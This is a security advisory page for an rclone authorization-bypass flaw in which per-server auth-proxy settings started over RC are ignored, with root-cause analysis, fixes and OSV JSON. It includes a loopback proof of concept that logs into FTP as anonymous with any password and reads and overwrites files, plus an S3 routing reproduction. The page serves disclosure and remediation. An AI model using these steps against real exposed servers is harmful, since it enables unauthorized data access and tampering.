CVE-2026-88044: rclone RC Per-server Auth-proxy Bypass Vulnerability

CRITICAL
Advisory Identifier: GHSA-p569-5gjg-9cmj
CVSS 9.1
CWE-863
Published
Advisory Summary

CVE-2026-88044 is a CRITICAL (CVSS 9.1) rc per-server auth-proxy bypass vulnerability (CWE-863: Incorrect Authorization) affecting rclone libraries in the Go ecosystem. The issue involves rc per-server auth-proxy bypass. Remediation is available by upgrading affected packages to version 1.75.1.

CVE-2026-88044 at a Glance

CVE Identifier CVE-2026-88044
GHSA Identifier GHSA-p569-5gjg-9cmj
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-863: Incorrect Authorization
Affected Product rclone
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-88044

To remediate this vulnerability, upgrade all affected rclone dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/rclone/rclone fixed: 1.75.1
Upgrade github.com/rclone/rclone to 1.75.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/rclone/rclone

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-88044, inspect your project dependencies for rclone:

inspect dependencies for github.com/rclone/rclone

Analyze the terminal output to locate any version of rclone in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.75.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In rclone, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `serve/start` accepts protocol options in a per-server `proxyOpt` object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global `proxy.Opt.AuthProxy` instead of the supplied `proxyOpt.AuthProxy`. When the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username `anonymous` with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an `auth_key`, any holder of that key reaches the fixed RC `fs` instead of the backend selected by the auth proxy. The S3 no-`auth_key` mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled. Confirmed affected versions are `v1.70.0` through `v1.75.0`, plus development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch. ## Affected Assets & Attack Surface - `cmd/serve/rc.go:68-93` documents nested per-server `proxyOpt` support, including `AuthProxy`. - `cmd/serve/rc.go:111-148` resolves the fixed `fs` and invokes the selected per-protocol RC constructor. - `cmd/serve/ftp/ftp.go:96-116` parses the request-local `proxyOpt` and passes it to `newServer`. - `cmd/serve/ftp/ftp.go:186-207` checks `proxy.Opt.AuthProxy` at line 202 instead of `proxyOpt.AuthProxy`; the false branch creates `globalVFS` from the RC-supplied filesystem. - `cmd/serve/ftp/ftp.go:54-60` defines the fallback credentials as user `anonymous` and an empty password. - `cmd/serve/ftp/ftp.go:318-349` accepts any password when the configured fallback password is empty. - `cmd/serve/s3/s3.go:76-96` parses and passes the request-local S3 proxy options. - `cmd/serve/s3/server.go:67-101` checks `proxy.Opt.AuthProxy` at line 91 and otherwise exposes the fixed VFS. S3 authentication through `AuthKey` remains separate from proxy-based backend selection. - Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends. - Configuration attack surface: `rclone rc serve/start ... proxyOpt='{"AuthProxy":"..."}'` or the equivalent JSON request. ## Technical Root Cause Analysis The serve implementation has two option scopes: - `proxy.Opt` is process-global and is populated by command-line/global option parsing. - `proxyOpt` is a constructor argument populated from the individual `serve/start` request. The RC adapters correctly create a local copy, apply the request parameters, and call `newServer(..., &proxyOpt)`. Neither adapter mutates the global. The constructors then branch on the wrong value: ```go // Current FTP and S3 pattern if proxy.Opt.AuthProxy != "" { // Uses proxyOpt only after the unrelated global check succeeds. serverProxy = proxy.New(ctx, proxyOpt, vfsOpt) } else { // Fail-open fixed-backend mode. } ``` Consequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse `proxyOpt`, and the generic `serve/start` documentation gives `proxyOpt.AuthProxy` as an example. For FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured `AuthKey`. If no `AuthKey` is configured, anonymous S3 access is expected behavior and should not be cited as impact. ## Proof of Concept & Evidence The following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed. Build the inspected revision, then prepare a fixed filesystem and rejecting proxy: ```sh mkdir -p /tmp/rclone-rc-root printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt rm -f /tmp/rclone-auth-proxy-invoked cat > /tmp/deny-rclone-proxy.sh <<'EOF' #!/bin/sh printf 'invoked\n' >> /tmp/rclone-auth-proxy-invoked cat >/dev/null exit 1 EOF chmod 700 /tmp/deny-rclone-proxy.sh ``` Start RC on loopback in one terminal: ```sh ./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth ``` Start an FTP server with only the request-local auth proxy configured: ```sh ./rclone rc --url http://127.0.0.1:5572 \ serve/start \ type=ftp \ fs=/tmp/rclone-rc-root \ proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \ opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}' ``` Connect with the fallback credentials and exercise read and write access: ```sh python3 - <<'PY' import ftplib import io ftp = ftplib.FTP() ftp.connect("127.0.0.1", 2121, timeout=5) ftp.login("anonymous", "arbitrary-password") data = bytearray() ftp.retrbinary("RETR secret.txt", data.extend) print(data.decode().strip()) ftp.storbinary("STOR overwritten.txt", io.BytesIO(b"attacker-controlled\n")) ftp.quit() PY test ! -e /tmp/rclone-auth-proxy-invoked grep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt ``` Observed against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`: - Login as `anonymous` succeeds with an arbitrary password. - `secret.txt` is returned from the fixed RC filesystem. - `overwritten.txt` is created in that filesystem. - The rejecting auth-proxy program is never invoked. The equivalent automated network test, `TestSecurityValidationRCPerServerAuthProxyFTP`, called the actual `serve/start` RC handler, connected through `github.com/jlaffaye/ftp`, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2: ```text === RUN TestSecurityValidationRCPerServerAuthProxyFTP --- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s) ``` ### Authenticated S3 backend-routing reproduction This validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots: ```sh mkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket printf 'fixed-backend-secret\n' > /tmp/rclone-s3-fixed/bucket/fixed-secret.txt printf 'proxy-backend-only\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt cat > /tmp/rclone-s3-route-proxy.py <<'PY' #!/usr/bin/env python3 import json import sys json.load(sys.stdin) print(json.dumps({"type": "local", "_root": "/tmp/rclone-s3-proxy"})) PY chmod 700 /tmp/rclone-s3-route-proxy.py ``` Using the same loopback RC process, start an authenticated S3 server: ```sh ./rclone rc --url http://127.0.0.1:5572 serve/start --json '{ "type": "s3", "fs": "/tmp/rclone-s3-fixed", "addr": "127.0.0.1:8080", "auth_key": ["validation-key,validation-secret"], "proxyOpt": { "AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py" } }' ``` Send a correctly signed S3 request: ```sh AWS_ACCESS_KEY_ID=validation-key \ AWS_SECRET_ACCESS_KEY=validation-secret \ AWS_DEFAULT_REGION=us-east-1 \ aws --endpoint-url http://127.0.0.1:8080 \ s3api get-object \ --bucket bucket \ --key fixed-secret.txt \ /tmp/rclone-s3-result grep -F fixed-backend-secret /tmp/rclone-s3-result ``` If the request-local proxy were active, `fixed-secret.txt` would not exist because the proxy selects `/tmp/rclone-s3-proxy`. Current code serves it from `/tmp/rclone-s3-fixed`. Conversely, a request for `proxy-only.txt` returns `NoSuchKey`. The automated validation `TestSecurityValidationRCPerServerAuthProxyS3Routing` performed this sequence through the actual `serve/start` handler and a MinIO Signature V4 client. It used a valid `AuthKey`, fetched `fixed-secret.txt`, and confirmed that `proxy-only.txt` was absent: ```text === RUN TestSecurityValidationRCPerServerAuthProxyS3Routing --- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s) ``` This demonstrates backend-authorization bypass, not anonymous S3 access. ## Impact Assessment For RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to `serve/start`, subject only to VFS options such as `read_only`. This is a complete authentication bypass and grants capabilities the attacker did not previously possess. For RC-started S3 servers that combine `auth_key` with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as `fs` and on the fixed filesystem's VFS permissions. Exploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected. ## Remediation Guidance Change the mode checks in both constructors to use the option object passed to that server: ```go if proxyOpt != nil && proxyOpt.AuthProxy != "" { d.proxy = proxy.New(ctx, proxyOpt, vfsOpt) // Do not create a fixed/global VFS in this mode. } else { d.globalVFS = vfs.New(ctx, f, vfsOpt) } ``` Apply the equivalent change in `cmd/serve/s3/server.go`. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage. Also: - Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back. - In S3, make the “allowing anonymous access” log conditional on both the absence of `AuthKey` and the absence of an active auth proxy, so the log reflects the effective mode. - Add RC integration tests for FTP and S3 with global `proxy.Opt.AuthProxy` empty and nested `proxyOpt.AuthProxy` non-empty. - In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked. - In the S3 test, configure `AuthKey`, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC `fs`. - Add a multi-server test proving that two simultaneous `serve/start` instances can use different proxy settings without consulting or mutating global state. - Audit other `serve.AddRc` implementations for the same pattern: parsing a request-local option but branching on its global counterpart.

CVE-2026-88044 Affected rclone Versions

1 component(s)
Fixed Versions:
1.75.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/rclone/rclone
Go
≥ 1.70.0
< 1.75.1
1.75.1

References

Frequently Asked Questions

What is CVE-2026-88044?
CVE-2026-88044 is a security vulnerability in rclone involving RC per-server auth-proxy bypass under CWE-863: Incorrect Authorization.
Which rclone versions are affected?
Affected versions include releases prior to 1.75.1 across affected packages: github.com/rclone/rclone.
What version fixes CVE-2026-88044?
Upgrading to 1.75.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/rclone/rclone affected?
Yes, github.com/rclone/rclone is affected in releases prior to 1.75.1. Upgrade your dependency to 1.75.1 or later.
What is the CVSS score of CVE-2026-88044?
CVE-2026-88044 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-88044?
CVE-2026-88044 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-88044?
Run the dependency tree command: 'inspect dependencies for github.com/rclone/rclone'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p569-5gjg-9cmj",
  "modified" : "2026-09-10T22:47:10Z",
  "published" : "2026-09-10T22:47:10Z",
  "aliases" : [ "CVE-2026-88044" ],
  "summary" : "rclone: RC per-server auth-proxy bypass",
  "details" : "## Summary\n\n`serve/start` accepts protocol options in a per-server `proxyOpt` object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global `proxy.Opt.AuthProxy` instead of the supplied `proxyOpt.AuthProxy`.\n\nWhen the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username `anonymous` with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an `auth_key`, any holder of that key reaches the fixed RC `fs` instead of the backend selected by the auth proxy.\n\nThe S3 no-`auth_key` mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.\n\nConfirmed affected versions are `v1.70.0` through `v1.75.0`, plus development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.\n\n## Affected Assets & Attack Surface\n\n- `cmd/serve/rc.go:68-93` documents nested per-server `proxyOpt` support, including `AuthProxy`.\n- `cmd/serve/rc.go:111-148` resolves the fixed `fs` and invokes the selected per-protocol RC constructor.\n- `cmd/serve/ftp/ftp.go:96-116` parses the request-local `proxyOpt` and passes it to `newServer`.\n- `cmd/serve/ftp/ftp.go:186-207` checks `proxy.Opt.AuthProxy` at line 202 instead of `proxyOpt.AuthProxy`; the false branch creates `globalVFS` from the RC-supplied filesystem.\n- `cmd/serve/ftp/ftp.go:54-60` defines the fallback credentials as user `anonymous` and an empty password.\n- `cmd/serve/ftp/ftp.go:318-349` accepts any password when the configured fallback password is empty.\n- `cmd/serve/s3/s3.go:76-96` parses and passes the request-local S3 proxy options.\n- `cmd/serve/s3/server.go:67-101` checks `proxy.Opt.AuthProxy` at line 91 and otherwise exposes the fixed VFS. S3 authentication through `AuthKey` remains separate from proxy-based backend selection.\n- Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends.\n- Configuration attack surface: `rclone rc serve/start ... proxyOpt='{\"AuthProxy\":\"...\"}'` or the equivalent JSON request.\n\n## Technical Root Cause Analysis\n\nThe serve implementation has two option scopes:\n\n- `proxy.Opt` is process-global and is populated by command-line/global option parsing.\n- `proxyOpt` is a constructor argument populated from the individual `serve/start` request.\n\nThe RC adapters correctly create a local copy, apply the request parameters, and call `newServer(..., &proxyOpt)`. Neither adapter mutates the global. The constructors then branch on the wrong value:\n\n```go\n// Current FTP and S3 pattern\nif proxy.Opt.AuthProxy != \"\" {\n    // Uses proxyOpt only after the unrelated global check succeeds.\n    serverProxy = proxy.New(ctx, proxyOpt, vfsOpt)\n} else {\n    // Fail-open fixed-backend mode.\n}\n```\n\nConsequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse `proxyOpt`, and the generic `serve/start` documentation gives `proxyOpt.AuthProxy` as an example.\n\nFor FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured `AuthKey`. If no `AuthKey` is configured, anonymous S3 access is expected behavior and should not be cited as impact.\n\n## Proof of Concept & Evidence\n\nThe following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.\n\nBuild the inspected revision, then prepare a fixed filesystem and rejecting proxy:\n\n```sh\nmkdir -p /tmp/rclone-rc-root\nprintf 'fixed-backend-secret\\n' > /tmp/rclone-rc-root/secret.txt\nrm -f /tmp/rclone-auth-proxy-invoked\n\ncat > /tmp/deny-rclone-proxy.sh <<'EOF'\n#!/bin/sh\nprintf 'invoked\\n' >> /tmp/rclone-auth-proxy-invoked\ncat >/dev/null\nexit 1\nEOF\nchmod 700 /tmp/deny-rclone-proxy.sh\n```\n\nStart RC on loopback in one terminal:\n\n```sh\n./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth\n```\n\nStart an FTP server with only the request-local auth proxy configured:\n\n```sh\n./rclone rc --url http://127.0.0.1:5572 \\\n  serve/start \\\n  type=ftp \\\n  fs=/tmp/rclone-rc-root \\\n  proxyOpt='{\"AuthProxy\":\"/tmp/deny-rclone-proxy.sh\"}' \\\n  opt='{\"ListenAddr\":\"127.0.0.1:2121\",\"PassivePorts\":\"30000-30010\"}'\n```\n\nConnect with the fallback credentials and exercise read and write access:\n\n```sh\npython3 - <<'PY'\nimport ftplib\nimport io\n\nftp = ftplib.FTP()\nftp.connect(\"127.0.0.1\", 2121, timeout=5)\nftp.login(\"anonymous\", \"arbitrary-password\")\n\ndata = bytearray()\nftp.retrbinary(\"RETR secret.txt\", data.extend)\nprint(data.decode().strip())\n\nftp.storbinary(\"STOR overwritten.txt\", io.BytesIO(b\"attacker-controlled\\n\"))\nftp.quit()\nPY\n\ntest ! -e /tmp/rclone-auth-proxy-invoked\ngrep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Login as `anonymous` succeeds with an arbitrary password.\n- `secret.txt` is returned from the fixed RC filesystem.\n- `overwritten.txt` is created in that filesystem.\n- The rejecting auth-proxy program is never invoked.\n\nThe equivalent automated network test, `TestSecurityValidationRCPerServerAuthProxyFTP`, called the actual `serve/start` RC handler, connected through `github.com/jlaffaye/ftp`, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationRCPerServerAuthProxyFTP\n--- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)\n```\n\n### Authenticated S3 backend-routing reproduction\n\nThis validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:\n\n```sh\nmkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket\nprintf 'fixed-backend-secret\\n' > /tmp/rclone-s3-fixed/bucket/fixed-secret.txt\nprintf 'proxy-backend-only\\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt\n\ncat > /tmp/rclone-s3-route-proxy.py <<'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\n\njson.load(sys.stdin)\nprint(json.dumps({\"type\": \"local\", \"_root\": \"/tmp/rclone-s3-proxy\"}))\nPY\nchmod 700 /tmp/rclone-s3-route-proxy.py\n```\n\nUsing the same loopback RC process, start an authenticated S3 server:\n\n```sh\n./rclone rc --url http://127.0.0.1:5572 serve/start --json '{\n  \"type\": \"s3\",\n  \"fs\": \"/tmp/rclone-s3-fixed\",\n  \"addr\": \"127.0.0.1:8080\",\n  \"auth_key\": [\"validation-key,validation-secret\"],\n  \"proxyOpt\": {\n    \"AuthProxy\": \"python3 /tmp/rclone-s3-route-proxy.py\"\n  }\n}'\n```\n\nSend a correctly signed S3 request:\n\n```sh\nAWS_ACCESS_KEY_ID=validation-key \\\nAWS_SECRET_ACCESS_KEY=validation-secret \\\nAWS_DEFAULT_REGION=us-east-1 \\\naws --endpoint-url http://127.0.0.1:8080 \\\n  s3api get-object \\\n  --bucket bucket \\\n  --key fixed-secret.txt \\\n  /tmp/rclone-s3-result\n\ngrep -F fixed-backend-secret /tmp/rclone-s3-result\n```\n\nIf the request-local proxy were active, `fixed-secret.txt` would not exist because the proxy selects `/tmp/rclone-s3-proxy`. Current code serves it from `/tmp/rclone-s3-fixed`. Conversely, a request for `proxy-only.txt` returns `NoSuchKey`.\n\nThe automated validation `TestSecurityValidationRCPerServerAuthProxyS3Routing` performed this sequence through the actual `serve/start` handler and a MinIO Signature V4 client. It used a valid `AuthKey`, fetched `fixed-secret.txt`, and confirmed that `proxy-only.txt` was absent:\n\n```text\n=== RUN   TestSecurityValidationRCPerServerAuthProxyS3Routing\n--- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)\n```\n\nThis demonstrates backend-authorization bypass, not anonymous S3 access.\n\n## Impact Assessment\n\nFor RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to `serve/start`, subject only to VFS options such as `read_only`. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.\n\nFor RC-started S3 servers that combine `auth_key` with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as `fs` and on the fixed filesystem's VFS permissions.\n\nExploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.\n\n## Remediation Guidance\n\nChange the mode checks in both constructors to use the option object passed to that server:\n\n```go\nif proxyOpt != nil && proxyOpt.AuthProxy != \"\" {\n    d.proxy = proxy.New(ctx, proxyOpt, vfsOpt)\n    // Do not create a fixed/global VFS in this mode.\n} else {\n    d.globalVFS = vfs.New(ctx, f, vfsOpt)\n}\n```\n\nApply the equivalent change in `cmd/serve/s3/server.go`. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.\n\nAlso:\n\n- Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back.\n- In S3, make the “allowing anonymous access” log conditional on both the absence of `AuthKey` and the absence of an active auth proxy, so the log reflects the effective mode.\n- Add RC integration tests for FTP and S3 with global `proxy.Opt.AuthProxy` empty and nested `proxyOpt.AuthProxy` non-empty.\n- In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked.\n- In the S3 test, configure `AuthKey`, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC `fs`.\n- Add a multi-server test proving that two simultaneous `serve/start` instances can use different proxy settings without consulting or mutating global state.\n- Audit other `serve.AddRc` implementations for the same pattern: parsing a request-local option but branching on its global counterpart.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/rclone/rclone"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.70.0"
      }, {
        "fixed" : "1.75.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/security/advisories/GHSA-p569-5gjg-9cmj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-88044"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/739403963abf6f58003c2becd5f7c4ad0d644153"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rclone/rclone"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/releases/tag/v1.75.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-10T22:47:10Z",
    "nvd_published_at" : "2026-09-10T17:17:08Z"
  }
}